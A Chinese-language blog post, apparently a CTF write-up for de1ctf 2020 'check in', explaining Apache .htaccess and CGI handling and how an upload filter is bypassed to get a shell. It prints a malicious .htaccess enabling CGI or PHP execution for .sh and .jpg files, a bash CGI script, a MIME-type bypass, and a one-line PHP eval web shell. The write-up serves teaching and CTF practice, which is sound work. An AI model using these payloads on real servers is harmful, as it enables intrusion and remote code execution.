3rsh1
/single dog/college student/ctfer
3rsh1's Blog

cgi程序在文件上传漏洞getshell中的利用——[de1ctf 2020]check in

基础

题目是有两种解法的,非预期解是反斜杠可以拼接/.htaccess内的配置项,预期解是cgi执行。这里就先说一下cgi执行,感觉还是蛮有意思的。
PHP在Apache中一共有三种工作方式:CGI模式、Apache模块DLL、FastCGI模式。

.htaccess

如果要让.htaccess文件的配置项生效的话,需要allowoverride的参数为all或者fileinfo。我们通常会用apache的rewirte模块进行url重写,而rewirte规则会在.htaccess文件中。要使apache可以正常读取.htaccess配置文件,需要对.htaccess所在目录进行配置。
allowoverride的参数如下:
AuthConfig
允许使用与认证授权相关的指令(AuthDBMGroupFile, AuthDBMUserFile, AuthGroupFile, AuthName, AuthType, AuthUserFile, Require, 等)。
FileInfo
允许使用控制文档类型的指令(DefaultType, ErrorDocument, ForceType, LanguagePriority, SetHandler, SetInputFilter, SetOutputFilter, mod_mime中的 Add* 和 Remove* 指令等等)、控制文档元数据的指令(Header, RequestHeader, SetEnvIf, SetEnvIfNoCase, BrowserMatch, CookieExpires, CookieDomain, CookieStyle, CookieTracking, CookieName)、mod_rewrite中的指令(RewriteEngine, RewriteOptions, RewriteBase, RewriteCond, RewriteRule)和mod_actions中的Action指令。
Indexes
允许使用控制目录索引的指令(AddDescription, AddIcon, AddIconByEncoding, AddIconByType, DefaultIcon, DirectoryIndex, FancyIndexing, HeaderName, IndexIgnore, IndexOptions, ReadmeName, 等)。
Limit
允许使用控制主机访问的指令(Allow, Deny, Order)。
Options[=Option,…]
允许使用控制指定目录功能的指令(Options和XBitHack)。可以在等号后面附加一个逗号分隔的(无空格的)Options选项列表,用来控制允许Options指令使用哪些选项。
因为在文件上传中,我们需要的是系统可以执行我们上传的恶意文件,所以需要绕过拓展名等的过滤,fileinfo选项即可。
关于.htaccess配置可以参考:

https://blog.csdn.net/kakuma_chen/article/details/71465251

cgi(commom gateway interface)

web server:nginx,apache2等,以下简称ws
当我们在请求index.html网页的内容的时候,因为是静态网页,ws会首先在文件系统内寻找index.html文件,找到后返回给客户端。

https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_d7f8d6366454562106ecfa6bb9545627.jpg

但是如果请求的是index.php这种动态网页,首先ws会简单处理这个请求,然后交给php解释器处理页面。
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_767d3b104beb61e6b3346c35f0a8a010.jpg

当php收到index.php这个文件的时候,会启用对应的cgi程序,在这里就是php的解释器,然后加载php.ini配置文件,初始化执行环境,处理请求,再以cgi规定的方式返回处理之后的结果。ws会将结果返回给客户端。这就是一个完整的php web的动态访问过程。
– cgi:是web server 和 web application之间数据交换的一种协议。
– fastcgi:同cgi,是一种通信协议,在cgi的基础上做了优化。
– php-cgi:是php对ws提供的cgi的接口程序。
– php-fpm:是 PHP(Web Application)对 Web Server 提供的 FastCGI 协议的接口程序,额外还提供了相对智能一些任务管理。
– Web Server 一般指Apache、Nginx、IIS、Lighttpd、Tomcat等服务器。
– Web Application 一般指PHP、Java、Asp.net等应用程序。

module方式

在php module方式中,需要在apache配置文件中修改:

# 加入以下2句
LoadModule php5_module D:/php/php5apache2_2.dll
AddType application/x-httpd-php .php
# 修改如下内容
<IfModule dir_module>
    DirectoryIndex index.php index.html
</IfModule>

这种方式是使用loadmodule来加载php_module5,就是把php当作一个子模块运行。

wp

解法1

所以我们在这道题目中应该做的就是,让我们上传的文件被当做是cgi文件,那么当我们请求php网页的时候,系统会自动调用cgi文件执行,即可执行我们的恶意代码。
构造文件:
hack.sh

#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0

这里需要注意的是文件需要早在linux中构建,然后再上传。否则会出现响应码500的错误。貌似是因为linux对cgi程序的要求十分严格。(其实我也不知道为啥)
.htaccess

Options +ExecCGI
AddHandler cgi-script .sh

Options ExecCGI表示允许CGI执行,如果AllowOverride只有FileInfo权限且本身就开启了ExecCGI的话,就可以不需要这句话了。
第二句告诉Apache将xx后缀名的文件,当做CGI程序进行解析。
上传进行了文件内容过滤和mime类型的判断,上传之后bp抓包改文件类型即可绕过。然后分别上传两个文件,之后访问hack.sh文件即可。

解法2

AddType application/x-httpd-p\
hp .jpg     //把jpg文件当做php文件来执行

这里的addtype的作用是把指定后缀的文件和某一mime类型联系起来,那么调用的解释器也就是相应mime类型的解释器了。感觉也可以这样操作:

<FilesMatch "\.jpg$">
    SetHandler application/x-httpd-ph\
    p
</FilesMatch>

将所有匹配到的文件使用指定的解释器执行,也是和mime类型联系在一起的。
关于木马:https://blog.csdn.net/l1028386804/article/details/84206143
可用如下形式的:

<?=eval($_POST[123]);
https://www.3rsh1.cool/wp-content/uploads/2020/05/wp_editor_md_a0cdcc056344e5ac2e283047c838e85d.jpg

参考链接:

https://cjm00n.top/CTF/de1ctf-2020-wp.html#Easy-PHP-UAF
https://www.kancloud.cn/wizardforcel/apache-doc/105750#calibre_link-253
https://blog.csdn.net/Alexhcf/article/details/105946638
没有标签
首页      web安全      cgi程序在文件上传漏洞getshell中的利用——[de1ctf 2020]check in

发表评论

textsms
account_circle
email

3rsh1's Blog

cgi程序在文件上传漏洞getshell中的利用——[de1ctf 2020]check in
基础 题目是有两种解法的,非预期解是反斜杠可以拼接/.htaccess内的配置项,预期解是cgi执行。这里就先说一下cgi执行,感觉还是蛮有意思的。 PHP在Apache中一共有三种工作方式:CGI模式…
扫描二维码继续阅读
2020-05-11